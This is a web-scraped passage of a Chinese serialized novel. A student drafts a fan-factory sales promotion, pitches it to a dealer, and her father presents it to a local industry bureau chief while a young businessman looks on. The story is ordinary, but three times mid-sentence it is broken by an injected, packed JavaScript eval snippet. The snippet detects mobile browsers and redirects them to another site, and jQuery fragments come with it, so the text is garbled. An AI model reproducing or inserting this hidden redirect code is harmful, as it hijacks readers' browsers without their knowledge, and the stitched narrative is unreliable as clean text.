见对方欲言又止,许晚柠会意,“忘了说了,我爸是华荣厂厂长许国盛,您应该知道吧?”
“知道知道,原来你是许厂长的闺女啊。”
一听对方是省城大学的大学生,还是厂长闺女,钱四海更热情了,同时心里纳闷,厂长闺女找他谈什么生意,不会是想让他再进一批货吧?这可不行,他现在库房压了一大批货,实在进不动了。
许晚柠见对方脸色跟调色盘似的来回变幻,正了正神色,“叔叔,要不咱们还是先谈正事吧。”
“好,你说。”钱四海已经准备好,如果对方让他进货,该怎么拒绝了。
许晚柠环顾四周,笑了下,“在此之前,我想先了解一下,今年您在我们厂进的货,好卖吗?”
钱四海一听,面露诧异,随即大吐苦水,“今年不知道为什么,销量不如去年好。”
一句话像是打开了话匣子,一茬接一茬,“往年华荣厂老款电风扇在乡镇卖得好,今年销量少了一大半,就连新款在县城也卖不动了。”
“其它牌子呢?”许晚柠在店里看到了不下三个牌子,有省城电器厂的,也有民营小厂的,还有南边的牌子。
如此看来,这位钱老板路很广啊。
钱四海面露尴尬,“其它牌子跟往年差不多,特别是长江牌落地扇,因为价格便宜,更受老百姓喜欢。不瞒你说,我今年进了华荣不少货,都在仓库堆着呢,压根卖不动。”
许晚柠听懂对方的言外之意,眸光一闪,随即笑道,“钱叔,我明白您的顾虑,我来也不是要您再进货的。”
钱四海糊涂了,不卖货,那她干嘛来了?他性子急,索性直接问,“那你大老远跑一趟,找我谈什么生意?”
许晚柠没有直接回答,而是反问道,“钱叔,我在大学学的市场营销,您知道这个专业学来能做什么吗?”
钱四海摇头,他还真不知道。
她继续说,“市场营销主要教我们,如何让顾客心甘情愿地买我的东西。您在华荣厂进的电扇卖不动,没关系,我来给您想办法。”
“你有什么办法?”
钱四海眼眸微亮,省城大学可是他们省最好的大学,那是一般人能考上的吗?再说她学的那个什么市场营销,让顾客心甘情愿花钱,听起来可真玄乎,没准她真有办法呢?
许晚柠迎着对方殷切的目光,说了一句。
“此法为‘夏日送凉·华荣风扇惠民促销活动’。”
啥?
15. 许厂长紧张了
促销?
是想让他降价吧?这算什么办法?等夏天快过去,实在卖不动,他们自然会降啊!
见对方似是胸有成竹,钱四海又懵了,“闺女,你就别卖关子了,到底怎么个促销法?”
许晚柠直言道,“我所说的促销跟您平时卖东西时讨价还价不一样。促销想要达到预期效果,首先要先预热,让更多人知道我们的活动,知道在哪参加,如何参加。”
“其次,我们需要设置足够吸引人的奖品,比如一等奖一名,最新款华荣牌落地扇一台,二等奖三名,所购商品半价优惠,三等奖十名,七折优惠,另外参与奖若干,实物奖品或者九五折优惠。”
“顾客当下购买现场抽奖,当场兑现,您觉得怎么样?”
这是她提交给厂里营销计划书的简化版,没有华荣厂包揽活动资金,没有完善的售后服务,单薄的可怜。
她来这里,跟他谈这个,只是想试试,PlanB能不能行得通。
钱四海先肯定,“听起来不错。”
后又仔细想了想,苦笑道,“只是想要搞这一场活动,我得花不少钱吧,简直赔本赚吆喝。”
她听出来了,他意向不大,虽然早有心理准备,但她还是有些失望的。她明白,做生意最忌赔钱,哪怕货积压在库房暂时卖不出去,可不到最后,谁想赔钱卖?
许晚柠快速调节好心情,计划随之调整,“钱叔,您的顾虑我明白,如果想少花钱搞促销,也不是不行。”
迎着钱四海期待的目光,她说,“您可以争取厂家支持,比如奖品由厂家提供,是不是能省下一大笔?”
钱四海眼前一亮,对啊,要是奖品都由厂家提供,他应该赔不了,没准还能小赚一笔。
而且,活动搞大点,库房那一堆货也能跟着清一清。若是放到明年,出了新款,那些老款怕是半价都没人要了。
这么一想,这点子确实不错,可她爸不是华荣厂厂长吗?他搞活动,让厂家报销,她这算不算胳膊肘往外拐?
许晚柠看对方表情,时而兴奋,时而皱眉,猜出他的想法,“钱叔,想要得到厂家支持,可没那么容易,那也是有条件的。”
“什么条件?”有条件才对嘛!他就知道天上没掉馅饼的事!
“活动前期需要预热,大概5-7天,活动时间持续一周,如今正值销售旺季,电风扇肯定热销,若是活动火爆,导致库存不足,您再到我们厂进货,我们要求货款当天现结。”
“若您之前还有没结清的货款,我们要求一并结算清楚。”
钱四海一听,毫不犹豫地应下,“没问题。”
本来他在华荣厂进货,为了关照他外甥,都是月底结算。如今不过是提前结清,只要厂家能包了活动奖品,让他清库存,小赚一笔,不就现货现结嘛,他全力配合,大不了他以后少进点。
许晚柠心里有了底,继续加码,敦敦善诱,“另外,只您一家参与可不够,保城周边强县,您有认识的经销商吗?如果您联合多家经销商一起跟厂里申请,领导们才会重视,不然,我们为啥赔钱做活动?”
也对,只不过多家联合,活动可不小啊,他感叹,“我滴个乖乖,你这是要搞个大的啊!”
许晚柠不假思索的承认了,“既然要搞,咱们就要搞大一点!争取一炮打响您四海家电的知名度。不然活动达不到预期效果,厂家因此受损,我爸跟上级领导不好交代。”
“你让我想想。”事有点大,虽然活动对他有利,但是他没搞过,担心最终效果不理想。另外,对方还要求他游说其他经销商,他心里有点没底,得好好考虑考虑。
许晚柠笑着起身,“当然可以,不过再过几天就是初伏,天越来越热了。这段时间电风扇的需求会与日俱增,时间紧迫。钱叔,您得抓紧时间做决定了。”
“方便的话,明天下午五点之前,我给您致电。”
一天的时间考虑,足够了。
“行!”
-
许晚柠谈完事,婉拒对方请吃饭的好意,离开四海家电。她没有急着回家,而是在市场转了转。
下午四点,阳光依旧炽热,市场没什么人。
她神情专注,街道两旁的店面一一掠进眼底,服装鞋帽,日用百货,零食干果,玩具以及廉价饰品,应有尽有,款式比之百货大楼差上不少。
当然,百货大楼和批发市场所面对的消费群体不同,不可一概而论。
她转了一圈,发现批发市场一共有四个入口,东、西门临着马路,往来拉货、卸货比较方便。从北门出去是条小巷,南面则是正门,比邻小广场,若是搞活动可以选在广场上,地方够大。
看过之后,许晚柠离开前往汽车站,准备回市里,再晚,她怕没车了。
-
下午三点十分。
许国盛和刘科长骑着自行车来到轻工局。
锁好车,许国盛擦擦脑门上的汗,拎着公文包,招呼老刘一声,“走吧。”
刘科长闷头跟上。
一进大厅,一股清凉迎面而来。
许国盛轻呼一口气,略微整理仪容着装,迈步上楼。
自从接任代厂长,他来这里交过几次材料,也和领导一起开过会。不过领导公务繁忙,他只简单寒暄过几句,对这里不算太熟。
这次他要单独见领导,还要报备这么超前的促销计划。
说实话,他有点紧张。
刘科长也紧张,许国盛好歹来过几次,他第一次来,还是见局长,没扭头就走已经很给老许面子了。
要不是李科长一直反对,其实老许带他来最合适。
两人心事重重来到二楼走廊尽头,局长办公室门前。
许国盛捏紧公文包,脸上挂着适宜的微笑,站在门口办公桌前,“罗秘书,我是华荣厂的许国盛,之前来过电话,找局长报备厂里促销的事。”
罗秘书连忙起身,“许厂长,您好,帮您约的三点半,时间还没到,您先坐这边等一会儿吧。”
“好,谢谢。”许国盛和刘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470281|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
科长坐在一旁等。
过了一会儿,许国盛抬手看了眼时间,三点三十五分,办公室的门还没开。他从兜里掏出红塔山,递过一根,“罗秘书,局长这是有客人?”
“许厂长您太客气了。”
罗秘书客套一句,接过烟,顺手往耳朵上一夹,“对,局长在会客,应该快结束了。”
说完之后,他又提醒,“许厂长,局长四点还有个会,一会儿您简单汇报就成。”
“好,麻烦了。”
没几分钟,办公室的门开了。
魏局长和两个年轻人相继走出来。
许国盛噌地站了起来,几步上前伸出手,“魏局长,我来汇报工作。”
刘科长反应也不慢,紧跟着起身,站在他身侧。
许国盛先跟魏局长握过手,随即侧身简单介绍,“这位是我们厂财务科刘科长,和我一起过来汇报厂里情况。”
刘科长伸出手,“魏局长,您好,我是刘青山,您叫我小刘就好。”
魏局长嘴角含笑跟两人分别握手,然后看向许国盛,“小许,你来得正好。”
“来给你介绍下,这两位分别是裴总和谭总,刚接手咱们啤酒厂,年轻有为,以后厂里有什么事,你们可以多交流交流。”
随后他和旁边两个年轻人说,“这位是隔壁华荣风扇厂的许厂长,你们两家厂子离得近,以后多互相照应。”
原来他们就是买下啤酒厂的人啊,还真年轻。
华荣厂,姓许。裴云洲眸光一闪,主动伸出手,“许厂长,您好,我是裴云洲,叫我名字就好。”
“谭斌。”谭斌不甘落后,跟着打招呼。
许国盛分别和两人握手,感叹,“后生可畏啊,裴总、谭总,有时间多交流。”
裴云洲眼神微亮,“一定。”
谭斌气闷,话都让他抢了。这位厂长姓许,没准是许婉宁亲戚呢,要不是场合不对,他都想直接跟他打听打听。
魏局长见双方寒暄得差不多了,开口,“云洲,我这还有客,就不留你们了,改天你跟小谭来家里坐坐,关于眼下经济局势,我们好好聊聊。”
裴云洲应下,“好,改天我们一定上门叨扰。”
谭斌紧跟着点头。
魏局长笑着拍拍他手臂,“小罗,帮我送送。”
“好的,局长。”
罗秘书陪同裴云洲和谭斌一起下楼。
上车前,裴云洲给罗秘书递烟,状似不经意的问,“罗秘书,许厂长今天过来是局里有什么安排吗?”
罗秘书接过烟,也没多想,“说是厂里最近销量下滑,想搞促销活动,问问局里意见。”
促销活动?裴云洲若有所思,询问,“今晚魏局长有饭局吗?”
涉及领导行程,罗秘书含糊了一句,“今晚应该没安排,局长一般正点下班。”
裴云洲点头,“好的,谢谢。”
罗秘书礼貌微笑,“裴总,您太客气了,二位慢走。”
“留步。”
16. 书房交谈
车上,谭斌坐在副驾,一声不吭。
没一会儿,他冷不丁来了句,“云洲,你不对劲。”
裴云洲瞥他一眼,没理他。
“你这样,更不对劲了。”
谭斌摸着下巴,自言自语,“你没觉得你对许厂长过于热情了么?而且你还特意问罗秘书,许厂长来这的目的。”
话音刚落,他猛地凑过来,眼神微眯,“说!你想干什么?”
裴云洲抬手挡住对方大脸,将其推回去,“别捣乱,开车呢。”
谭斌双手环胸,“切!心虚了是不是,让我想想。你是不是猜到这个许厂长跟许婉宁有关系?所以想打探一下?”
裴云洲无奈,“你想哪去了?没听魏局长说,让我们跟隔壁华荣厂搞好关系?我打听打听对方动向不是很正常么。”
“再说,罗秘书提到华荣厂想搞促销,也许咱们可以搭便车,合作一次。”
听起来有理有据,可谭斌还是觉得哪里不对。
他眉头紧锁,随即想到什么,“华荣厂想搞促销,局里能不能同意还不一定呢。还没成,你就想合作了?这可不像你。”
闻言,裴云洲眼都不眨,“谁说不成就不能合作了。”再说,就算局里不同意,他不能推一把吗?
他倒要看看怎么个促销法,值不值得他出手。
-
魏局长招呼许国盛二人跟他进来,边走边说,“小许,难得你来局里一趟,不容易啊。”
许国盛脸颊微红,“是我来得少了,以后一定多来局里汇报。”
魏局长知道他以前搞生产的,人老实本分,只是目前风扇厂这个情况。
他心里叹了口气,拍拍他的肩,“你啊,能想明白就好,闷在厂里闭门造车可不成,有什么难处多跟局里通通气。”
“您说的是。”
许国盛见魏局长坐下,这才跟刘科长坐到对面沙发上。
办事员不动声色地进来给大家倒茶水,随后关门离开。
魏局长端起搪瓷缸,示意,“喝茶,都别拘着,有什么事说吧。”
许国盛身子微微前倾,“局长,我们今天过来,一是想跟您汇报一下厂里近期生产、销售情况,二是有些想法,想让局里给把把关。”
汇报工作是次要,重点是第二句吧?
魏局长点点他,直截了当地问,“这是遇到难题了?听小罗说,你们厂最近销量下滑,想搞个营销活动,具体打算怎么推进,有章法吗?”
许国盛从公文包里拿出一打材料递给他,“局长,这是营销计划书和会议纪要。”
待魏局长接过资料,许国盛斟酌开口,“我们做活动的目的主要是因为厂里积压了不少老款风扇,再加上销量不好,所以厂里打算联合经销商搞促销,清库存。”
“活动大概流程是这样,前期先预热一周,进行宣传。我们设置丰厚的奖品,只要购买华荣牌风扇就能参与抽奖,吸引更多人关注,参加活动。”
“另外,我们增设以旧换新项目,家里有不用的旧电扇,不论好坏,都可以拿过来抵扣一部分货款。旧风扇我们会拉回厂里,好的电机、零件留下,其他分类卖掉。”
“还有售后服务,之前我们厂也提供维修等服务,但是不够规范。所以想趁着这次活动,把售后一并抓起来,用更完善的服务,赢得老百姓的心。同时,打响厂子名声,让咱们的品牌更硬气。”
魏局长边听边看,一开始他没打算细看,只是手里这份计划书不仅字写得漂亮,条目陈列也清晰,不禁多看了几眼。
听到许国盛提到几个新词,他若有所思,随即念道,“以旧换新,售后升级,用服务赢得老百姓青睐。”
说到这,他顿了顿,抬头意味深长地看向许国盛,“你们厂这是来了高人啊。”
许国盛连忙摆手,“没有,就是厂里小年轻瞎琢磨的。”
“这水平可不像一般人写的。”
魏局长快速翻看后面的会议纪要,点点上面唯一没有职务的名字,“是这个叫许晚柠的人写的?姓许,她跟你什么关系?”
许国盛苦笑,没想到这么快就被局长发现了,只好老实交代,“是晚柠写的,她是我女儿,省城大学市场营销专业大三学生。”
“哦?”居然是个学生,一个还没大学毕业的学生能写出这样的营销计划,还真是令人意外。
他还想问什么,忽然听见有人在敲门。
“进来。”
罗秘书进门后轻声提醒,“局长,会议时间快到了,各部门负责人已经到齐。”
“知道了。”
魏局长看向许国盛,“小许,我这边还有个会要开,你们先回去吧。事情我大概了解了,局里先开会讨论一下,给出意见,改天我再叫你过来细聊。”
许国盛忙道,“好的,局长,那我们就不打扰您工作了。”
待两人走后,魏局长带上笔记本和搪瓷缸准备去开会。临走之前,他鬼使神差地带上了那份营销计划书。
一场会议开了将近两个小时方才结束。
魏局长沉着一张脸回到办公室。
只见他面容疲惫,背着手,站在窗前沉默不语。
罗秘书轻手轻脚地进来给领导换茶水。
魏局长听到动静,偏头看了眼,又抬起手腕看了看表,“小罗,快六点了,你收拾收拾准备下班吧。”
“好的,局长。”罗秘书赶忙应了一声。
出门之前,他轻声说,“局长,之前我送裴总他们下楼,裴总向我打听许厂长今天来意,还问过您今晚有没有饭局。”
“哦?”魏局长挑眉,回头看他,“你怎么回的。”
罗秘书赶紧交代,“我只知道许厂长过来,是因为促销活动的事。关于您的行程,也只提了一句,您没有饭局一般会正常下班。”
“知道了,你出去吧。”
罗秘书小心翼翼地关上门。
六点半,魏局长收拾东西准备回家,临走前,他想了想,装上那份计划书,拎着公文包大步离开。
-
下午六点,许晚柠头重脚轻地回到家。
家里静悄悄的,她以为爸妈都没回来,整个人瘫坐在沙发上,闭眼休息。
不消片刻,她睁开眼,低头一闻,身上除了汗臭味,还有在中巴车上沾上的各种怪味,让她整个人腌入味了。
不行,她得赶紧冲个澡换身衣服。
她正准备回屋拿换洗衣服,发现书房的门半开着,推开一看,父亲正在专心练字。
听到门响,许国盛写完最后一笔,抬起头来,见到来人,眉眼不自觉地柔和几分,“柠柠回来了。”
“嗯!爸,您今天下班挺早啊。”这才六点多,以往父亲都是七点多回来。
“下午我和老刘去了趟局里,回来都快六点了,厂里没啥事,索性直接回家了。”许国盛放下毛笔,随口说道。
许晚柠凑过来,瞧了瞧父亲刚写的字,蹙眉,“爸,局里一行,是不是不太顺利?”
“你看出来了?”
许晚柠抬手指了指其中几个字,“您看这里,撇捺、钩挑略显急躁、生硬,很明显您心情烦躁、不平静。”
许国盛叹了口气,“其实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470282|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不算不顺利,我还没来得及细说,局长有会要开,就先让我们回来了。不过走之前,他跟我说局里要先开会讨论,让我等通知。”
“那要等到什么时候?”许晚柠一听也着急了,机会稍纵即逝,活动若不提前准备起来,想要搞好,得多花多少功夫?
许国盛瞧了眼女儿,摸摸她的头,“别急,如果明天局长没联系我,我后天再去局里一趟。”
许晚柠抬起头,神色认真,“如果后天局里还是不能给出意见呢?爸,咱们得提前做最坏的打算。”
“你想干什么?”许国盛眉头微挑,心也跟着提了起来。
他这才注意到女儿衬衫上不知从哪蹭上几道灰啧,蹙眉,“你今天上哪去了?”
许晚柠嘿嘿一笑,坦白,“我去了趟徐县。”
“你去徐县干什么?跟昨天一样,调查市场?”
许晚柠摸着下巴,“你要这么理解,也不是不可以。”
话还没说完,她后脑勺一痛,“啊!爸!你又打我头!”
“谁让你卖关子的,还不赶紧老实交代!”
许国盛手快,打完有些心虚,连忙伸手安抚一下,“我都没使劲。”
许晚柠躲开,眼神控诉,“爸,您年轻时候搞生产的,手劲有多大您不知道吗?我当初没考上华清,绝对有您一份功劳。”
“胡说八道,明明是你早恋,成绩下滑,还赖我身上了。”说完,许国盛后悔了,坏了,女儿最不喜欢他们拿早恋说事了。
听到早恋这个词,许晚柠神情恍惚,脑海中浮现一个清瘦的身影,转瞬即逝。
她皱着眉,更正,“爸,什么早恋,没影的事,您别瞎说。还有,您别想转移话题,以后不许打我头。”
“好好好,我以后绝对不打,行了吧。”许国盛拿女儿一点办法都没有。
许晚柠听父亲服了软,这才饶过他,继续说,“我去徐县找经销商,探探口风。”
徐县的经销商?
许国盛瞬间想到一个名字,“钱四海?”
“没错,上午厂务会结束后,您说最后要局里把关,我当时就做好了最坏打算。如果局里不允许咱们这么大张旗鼓地搞,为了厂子生存,我们还能做点什么?”
“当时我就想,如果厂里不能带头,那经销商行不行?于是,我找嘉林帮忙推荐合适人选,他给了我钱四海的联系方式,我下午没事,索性坐车过去当面谈一谈。”
许国盛听完,神色复杂地看着女儿,“你胆子真大。”
谁能想到,仅仅因为他提及营销计划需要面对重重关卡,她能想到这么多,而且立刻付诸行动去尝试。
比她老子强!
许国盛刚想拍拍女儿头,以作鼓励,瞬间收到女儿警告的眼神。
他表情讪讪,轻轻拍拍她的肩,“做得不错,钱老板怎么说?”
“他说要考虑。”
说到这,许晚柠有点不好意思,“另外,我鼓动他联合多家经销商,以现货现结为筹码,跟厂里申请报销活动奖品,他有些犹豫,估计是没做过,怕活动达不到预期效果,白忙活一场。”
“当然,他有顾虑也很正常,如果没有厂家参与,活动规模可能要比预想中要小很多,加上前期他要投入部分活动资金,他一时犹豫也可以理解。”
许国盛看着愁眉不展的女儿,宽慰,“别多想,你已经做得很好了。”
许晚柠无语,到底是谁多想啊,桌上的字可都是铁证!
她刚想反驳,书房门口响起一道疑惑的女声,
“你们父女俩在这叽叽咕咕的说什么呢?”
17. 云洲有对象了吗?
“没什么!”
许晚柠回了一句,随后跟父亲使眼色,“爸,您继续练字吧,我去冲个澡!”
说完,她朝母亲点点头,大步离开。
许国盛看着女儿背影,摇头笑笑,重新拿起毛笔。落笔之前,他余光看到妻子沉着张脸走进来,顺手关上门。
许国盛顿住,不禁皱眉,“大白天的,你关门干什么?”
赵秋红走过来,低声说,“你没发现女儿这两天有些不对劲么?”
许国盛意外,“哪不对劲?我看挺好的啊,你想多了吧。”
赵秋红嘴角苦涩,“从昨天到现在,她一声妈都没叫过。你说,她是不是叛逆期到了?”
“叛逆期?她都二十了,青春期早过了。”不过,妻子从来不说没影的事,两天没叫妈,确实有些过分了。
他目光怀疑地看向妻子,“你是不是哪惹她不高兴了?”
赵秋红气得拍了丈夫胳膊一下,“我无缘无故惹她干嘛?”
话音刚落,她想到昨晚和今天早上说了她两句,不会因为这个生气了吧?
还真有可能!这孩子真是越来越娇气了!
她脸上一会儿青一会儿白,想了又想,嘱咐,“一会儿吃了饭,你帮我问问,她到底咋回事。”
“这要我怎么问?竟会给我出难题。”
“你问不问?”
许国盛举手投降,“我问,行了吧。哎对了,柠柠出去跑了一天,估计早饿了,你给她做点她爱吃的,哄哄她啊。”
赵秋红瞪他一眼,边往外走边抱怨,“一天天就知道支使人干活,回家也不知道做饭,天天就等着我伺候你们爷俩。”
类似的唠叨,许国盛听过无数次,早免疫了。
他沉下心继续练字,一撇一捺,抚平他浮躁的内心。
晚饭是绿豆稀饭、拍黄瓜和酸辣土豆丝。
许国盛去厨房端菜,小声问,“怎么才做了两个菜?不是说让你做点闺女爱吃的吗?”
赵秋红瞥他一眼,“这三样,闺女哪个不爱吃?”
许国盛一噎,好像都挺爱吃的。
许晚柠刚洗完澡,头发还没干,随意披在脑后。她见爸妈端着饭菜出来,顺手从冰箱里取出咸菜瓶。
许国盛以为给他拿的,笑着说,“还是我闺女懂我。”
“那可不!”许晚柠笑笑,没说自己想吃,打开盖放在桌上,谁吃谁夹。
赵秋红看着父女俩互动,心中酸涩难言,随后装作若无其事的样子,开始没话找话,“哎,老许,你今天怎么回来这么早?”
“厂里没啥事,索性提前回来了。”
工作上遇到困难,他不喜欢在家里说,这也是上辈子许晚柠不了解厂里实际情况的原因。
饭吃到一半,赵秋红盯着女儿看了好一会儿,小心翼翼地问道,“柠柠,你昨天跟谁一块出去了?我听你周姨说,有人看到你坐在一个男的自行车后边,有说有笑的,你谈朋友了?”
许晚柠夹菜的手顿了下,随后恢复如常,“没谈,是爸厂里的职工,我有事去市中心,载了我一段,这人爸也认识。”
赵秋红随即看向丈夫,眼神疑惑。
“嗯对,我认识,是销售科小张吧。”
许国盛见女儿点头,不知想到什么,蹙眉,“你们骑自行车去的?天这么热,下回坐公交车去,既方便又凉快。”
这年头,年轻男女走得太近,容易被人说闲话,还是保持距离的好。
许晚柠听懂了父亲言外之意,随口应了声,“知道了,下次我注意。”
好么,本来想借这话跟女儿谈谈心的,结果啥话都让他们父女俩说了。
赵秋红一口气噎在那,不上不下的,饭也没吃多少。
-
晚上八点,轻工局家属院。
“魏则明,你到底有没有认真听我讲话?”
“啊,怎么了?”
姜珍丽怒视丈夫,“一晚上你魂不守舍的,往门口看好几次了,你等谁呢?”
“没谁,”魏局长心虚,抬起报纸挡住半张脸,“你刚才说什么了,我看报太专注,没听见。”
姜珍丽差点气笑了,“看报太专注?你拿的是上个月的报纸,你没发现吗?”
上个月的?魏局长看了眼日期,6月28日。
“咳咳。”
他一脸尴尬,没好意思再找借口,放下报纸,正襟危坐,“好了,你说吧,我不看了。”
若不是为了女儿,姜珍丽真想扭头回屋去。
她深吸一口气,缓了缓神色,“我问你,云洲有对象了没?”
原来是问这个,魏局长心里松了口气,“没有,他刚回国不到一年,谈什么对象。”
姜珍丽心中一喜,随即皱起眉头,“他有二十五六了吧?年纪也不小了,家里没催?”不会有什么隐疾吧?
“过了年二十六,怎么可能不催?我还开玩笑问过他,他说不着急。你别看他平时不声不响的,实际主意大着呢。”魏局长眼里满是欣赏。
姜珍丽就是看中裴云洲有主见,不然也不会动心思,她轻声问,“你觉得咱家薇薇怎么样?”
她女儿魏薇,去年师范毕业,如今在实验小学当老师,年纪比裴云洲小三岁,不论是年纪、家庭背景,都挺合适。
魏局长想了想,叹了口气,“不行,薇薇心气高,被我们惯得有点娇气,一点委屈都受不了。”
“云洲性格沉稳内敛,又出国留学读到博士,见识不一般。薇薇从小学习不好,初中还留级一年,中专都是我托关系上的。两人不论是从学历、阅历来看,都不太合适。”
“再说,云洲他爸出了名的偏心小儿子,他后妈也不是个好相与的,薇薇这性子嫁过去,一准吃亏。”
姜珍丽一听,心里顿时凉了半截,“不是说不在一起住么?”
“是不在一起住,难道逢年过节就不打交道了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470283|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?再偏心,那也是他亲爸!”
魏局长抬手,语气严肃,“这事你别想了,云洲家庭情况太复杂,薇薇性格单纯,硬凑在一起对谁也不好。再说,姚老师就这么一个亲外孙,我能坑他吗?”
姜珍丽瞪他一眼,“有你这么当爸的吗?竟埋汰自己闺女!”
“我那是有自知之明,好了,给薇薇找对象这事不急,她才22岁,刚参加工作没多久,我还想再留她两年。”
有些话他没跟妻子说,云洲太重感情,在处理父子关系上,少了一分魄力。他需要一个内心强大的伴侣,能够护着他,让他懂得爱从来不是退让。
话说到这,魏局长抬手看了眼腕表,八点十分,都这个点了,估计人不会来了吧。
他叹了口气,起身,“没其他事,我去书房查点资料。”
也许是他想多了。
-
姜珍丽坐在沙发上思前想后,最终歇了心思。
云洲多好一孩子,可惜跟她女儿没缘分。
思及此,她突然想给女儿打个电话,问问她这个星期回不回家住。
她刚拿起话筒,门外响起敲门声。
“谁啊!”
“姜姨,是我,云洲。”
姜珍丽听到有些熟悉的声音,快步走过去,打开门,见真的是他,一脸惊喜,“云洲,你怎么来了,快进来。”
裴云洲边进屋边说,“我来看看您和魏叔,很抱歉,这么晚过来。”
姜珍丽笑得合不拢嘴,“没事,我和你魏叔睡得晚。再说,你过来,我们高兴还来不及呢。”
她这才注意到裴云洲手里还拎着东西,嗔怪,“你说你人来了就好,还带什么东西,先放这,回头你再拿回去啊。”
姜珍丽暗叹云洲识礼数,心里越发觉得可惜,面上却是半点不显。
裴云洲放下东西,没接她话茬,反而问道,“姜姨,魏叔呢?”
“他在书房,门关着,估计没听见外面动静。”说完,她连忙喊道,“老魏,你快出来,看看谁来了!”
书房里,魏局长正在看华荣厂交上来的营销计划书,就连会议纪要都翻看了两遍,越看越觉得可惜。
下午会议上,他临时拿出计划书,让其他部门负责人传阅,大部分人不认同,觉得方案过于冒进,风险太大,出了事局里担不起这个责。
哪怕他心里再认同也只能暂时搁置,这也是他在会议结束后,心情不佳的原因。
如今,市场变了,他们仍在原地止步不前,不敢冒一丝风险。他担心,华荣厂像隔壁啤酒厂一样陷入绝境。
如果华荣厂倒了,三百多名职工下岗,他这个局长在上级面前如何抬得起头?
就在这时,妻子带着笑意的催促声传进来。
魏局长心中一动,连忙起身出来,待看到裴云洲站在门口,脸上掠过一丝笑意,“云洲,你怎么来了!”
裴云洲唇角微扬,“我来找您下棋。”
18. 深夜谈心
“你还真找我下棋来了?”
魏局长眸中带着几分疑惑。
裴云洲手里捏着一枚黑子,落下之后,抬眼看他,“魏叔,您再不专心,白子就要被我吃光了。”
魏局长低头看了一眼局势,只见棋盘之上,黑子已然占尽上风,白子被层层围困,处处受制,眼看就要被吞吃殆尽。
他抬手指着他,好笑道,“你小子,大晚上专门跑我这儿来欺负我?”
裴云洲浅浅一笑,十分坦然,“切磋而已,怎么算欺负呢?”
眼看要输,魏局长直接耍赖,“年纪大了,精力不如你们年轻人,改天咱们再接着下。”
为免被晚辈揪着不放,索性他谈起正事。
他来到书桌前,抬手点了点上面放着的文件,“这是许厂长下午交过来的,说是为了清库存,厂里想出来的营销计划书。我拿到会上讨论,你猜怎么着?”
没等他回答,他叹了口气,“大部分人都不认同,说什么的都有,什么步子迈得太大,想法过于理想化,风险高之类的。”
“可他们也不想想,华荣厂如今什么境况,厂里货款收不回来,还欠了材料商和银行一屁股债,这个月更是连工资都发不出来!这跟几个月以前的啤酒厂有什么区别?”
“如果局里仍不知变通,任由其发展下去,我担心华荣厂迟早会步啤酒厂的后尘。到时谁也救不了它!”
魏局长一提起这事就来气,他缓了缓神色,看向他这个优秀的晚辈,“云洲,你学经济的,又在外留学几年,见识不一般,你帮我参谋参谋这份计划书怎么样?”
裴云洲走过来,扫了眼标题,瞬间移开目光,“魏叔,华荣厂的营销计划书,我看不合适吧?”
虽然双方生产的产品不同,没有直接利益冲突,但华荣厂是国营单位,对方递交到局里的材料,哪怕只是一份还未通过的计划书,也不是他能随便看的。
“你还挺懂规矩!”
他见对方迟疑,隐晦的说,“这又不是在局里,随意一点。再说,你作为晚辈,帮长辈支支招,怎么了?”
裴云洲这才拿起计划书翻看起来。
“你这小子。”魏局长摇头失笑,这孩子为人处世比他还要谨慎老练,不愧是他看好的后辈。
他端起搪瓷缸喝口水,润润嗓子,待看到对方翻过几页,一脸期待的看向他,“如何?”
裴云洲眼底闪过一丝欣赏,毫不吝啬夸赞,“这份计划思路清晰、考虑周全,可行性很强,照着推进,效果一定不会太差。”
他顿了顿,斟酌开口,“只不过,想要推进这份计划,可不是一件容易的事。这需要负责人执行力强,能完美落实计划。另外,他还要有魄力,不怕麻烦,更不怕得罪人。”
“当然,还有最重要的一点,活动中难免有意外发生,他要懂得变通,临危不乱。总之,方方面面都要考虑周全。”
魏局长颔首,“没错,计划再好也要遇上有能力的负责人,才能真正落地见效,不然终究是纸上谈兵。”
他眉头紧皱,“只是这个人选,不好找啊!”这也是他一直犹豫,没下定决心的原因。
他在华荣厂领导班子里寻摸了一圈,没发现合适人选,总不能他这个局长放下工作,去给他们主持活动吧?
裴云洲在魏局长沉思时,翻到后面的会议纪要,快速看过之后,点点上面的名字,“魏叔,人选这不已经有了吗?”
魏局长抬眼看去,直接否决,“许晚柠?她不行,她大学还没毕业,在厂里没有任何职务,谁会听她的?单凭她厂长女儿的身份,根本压不住厂里那群老油条。”
原来她是许厂长的女儿,还是一名在校大学生。
